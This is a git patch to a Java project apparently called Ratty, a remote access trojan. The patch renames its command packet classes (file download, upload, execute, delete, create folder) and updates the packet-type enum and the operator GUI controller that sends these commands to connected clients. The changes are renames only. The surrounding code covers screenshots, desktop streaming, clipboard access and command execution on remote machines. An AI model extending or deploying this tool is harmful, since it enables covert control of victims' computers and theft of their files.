From d737bd00b6efb23f9a5711380283e7a4bc73358a Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 19:04:22 +0100 Subject: [PATCH] Minor changes Renamed some classes --- ...derPacket.java => CreateFolderPacket.java} | 6 +++--- ...eletePacket.java => DeleteFilePacket.java} | 6 +++--- ...oadPacket.java => DownloadFilePacket.java} | 6 +++--- ...cutePacket.java => ExecuteFilePacket.java} | 6 +++--- .../src/de/sogomn/rat/packet/PacketType.java | 10 +++++----- ...ploadPacket.java => UploadFilePacket.java} | 6 +++--- .../rat/server/gui/RattyGuiController.java | 20 +++++++++---------- 7 files changed, 30 insertions(+), 30 deletions(-) rename Ratty/src/de/sogomn/rat/packet/{NewFolderPacket.java => CreateFolderPacket.java} (77%) rename Ratty/src/de/sogomn/rat/packet/{DeletePacket.java => DeleteFilePacket.java} (73%) rename Ratty/src/de/sogomn/rat/packet/{DownloadPacket.java => DownloadFilePacket.java} (85%) rename Ratty/src/de/sogomn/rat/packet/{ExecutePacket.java => ExecuteFilePacket.java} (81%) rename Ratty/src/de/sogomn/rat/packet/{UploadPacket.java => UploadFilePacket.java} (81%) diff --git a/Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java similarity index 77% rename from Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java rename to Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java index df05edd..f16d12c 100644 --- a/Ratty/src/de/sogomn/rat/packet/NewFolderPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/CreateFolderPacket.java @@ -5,16 +5,16 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveClient; -public final class NewFolderPacket implements IPacket { +public final class CreateFolderPacket implements IPacket { private String path, name; - public NewFolderPacket(final String path, final String name) { + public CreateFolderPacket(final String path, final String name) { this.path = path; this.name = name; } - public NewFolderPacket() { + public CreateFolderPacket() { this("", ""); } diff --git a/Ratty/src/de/sogomn/rat/packet/DeletePacket.java b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java similarity index 73% rename from Ratty/src/de/sogomn/rat/packet/DeletePacket.java rename to Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java index 081cefe..3cb1777 100644 --- a/Ratty/src/de/sogomn/rat/packet/DeletePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DeleteFilePacket.java @@ -4,15 +4,15 @@ import java.io.File; import de.sogomn.rat.ActiveClient; -public final class DeletePacket implements IPacket { +public final class DeleteFilePacket implements IPacket { private String path; - public DeletePacket(final String path) { + public DeleteFilePacket(final String path) { this.path = path; } - public DeletePacket() { + public DeleteFilePacket() { this(""); } diff --git a/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java b/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java similarity index 85% rename from Ratty/src/de/sogomn/rat/packet/DownloadPacket.java rename to Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java index becf010..2e61cca 100644 --- a/Ratty/src/de/sogomn/rat/packet/DownloadPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DownloadFilePacket.java @@ -5,20 +5,20 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveClient; -public final class DownloadPacket extends AbstractPingPongPacket { +public final class DownloadFilePacket extends AbstractPingPongPacket { private String path; private byte[] data; private String fileName; - public DownloadPacket(final String path) { + public DownloadFilePacket(final String path) { this.path = path; type = REQUEST; } - public DownloadPacket() { + public DownloadFilePacket() { this(""); type = DATA; diff --git a/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java similarity index 81% rename from Ratty/src/de/sogomn/rat/packet/ExecutePacket.java rename to Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java index 76ce638..59b8ad6 100644 --- a/Ratty/src/de/sogomn/rat/packet/ExecutePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java @@ -7,15 +7,15 @@ import java.io.IOException; import de.sogomn.rat.ActiveClient; -public final class ExecutePacket implements IPacket { +public final class ExecuteFilePacket implements IPacket { private String path; - public ExecutePacket(final String path) { + public ExecuteFilePacket(final String path) { this.path = path; } - public ExecutePacket() { + public ExecuteFilePacket() { this(""); } diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 4b5b4d2..919abed 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -12,11 +12,11 @@ public enum PacketType { DESKTOP(7, DesktopStreamPacket.class), CLIPBOARD(8, ClipboardPacket.class), FILE(9, FileSystemPacket.class), - DOWNLOAD(10, DownloadPacket.class), - UPLOAD(11, UploadPacket.class), - EXECUTE(12, ExecutePacket.class), - FOLDER(13, NewFolderPacket.class), - DELETE(14, DeletePacket.class); + DOWNLOAD(10, DownloadFilePacket.class), + UPLOAD(11, UploadFilePacket.class), + EXECUTE(12, ExecuteFilePacket.class), + FOLDER(13, CreateFolderPacket.class), + DELETE(14, DeleteFilePacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/packet/UploadPacket.java b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java similarity index 81% rename from Ratty/src/de/sogomn/rat/packet/UploadPacket.java rename to Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java index 8835b4e..ad8df54 100644 --- a/Ratty/src/de/sogomn/rat/packet/UploadPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/UploadFilePacket.java @@ -5,12 +5,12 @@ import java.io.File; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.ActiveClient; -public final class UploadPacket implements IPacket { +public final class UploadFilePacket implements IPacket { private byte[] data; private String folder, fileName; - public UploadPacket(final String filePath, final String folder) { + public UploadFilePacket(final String filePath, final String folder) { this.folder = folder; final File file = new File(filePath); @@ -19,7 +19,7 @@ public final class UploadPacket implements IPacket { fileName = file.getName(); } - public UploadPacket() { + public UploadFilePacket() { folder = fileName = ""; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 6c3a246..2fb0751 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -11,18 +11,18 @@ import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; -import de.sogomn.rat.packet.DeletePacket; +import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopStreamPacket; -import de.sogomn.rat.packet.DownloadPacket; -import de.sogomn.rat.packet.ExecutePacket; +import de.sogomn.rat.packet.DownloadFilePacket; +import de.sogomn.rat.packet.ExecuteFilePacket; import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; -import de.sogomn.rat.packet.NewFolderPacket; +import de.sogomn.rat.packet.CreateFolderPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; -import de.sogomn.rat.packet.UploadPacket; +import de.sogomn.rat.packet.UploadFilePacket; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.IServerObserver; import de.sogomn.rat.util.FrameEncoder.IFrame; @@ -93,7 +93,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } else if (command == FileTreePanel.DOWNLOAD) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final DownloadPacket packet = new DownloadPacket(path); + final DownloadFilePacket packet = new DownloadFilePacket(path); return packet; } else if (command == FileTreePanel.UPLOAD) { @@ -103,14 +103,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String localPath = file.getAbsolutePath(); final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastNodePathFolder(); - final UploadPacket packet = new UploadPacket(localPath, path); + final UploadFilePacket packet = new UploadFilePacket(localPath, path); return packet; } } else if (command == FileTreePanel.EXECUTE) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final ExecutePacket packet = new ExecutePacket(path); + final ExecuteFilePacket packet = new ExecuteFilePacket(path); return packet; } else if (command == FileTreePanel.NEW_FOLDER) { @@ -119,14 +119,14 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String name = JOptionPane.showInputDialog(null); if (name != null && !name.isEmpty()) { - final NewFolderPacket packet = new NewFolderPacket(path, name); + final CreateFolderPacket packet = new CreateFolderPacket(path, name); return packet; } } else if (command == FileTreePanel.DELETE) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final DeletePacket packet = new DeletePacket(path); + final DeleteFilePacket packet = new DeleteFilePacket(path); treePanel.removeFile(path);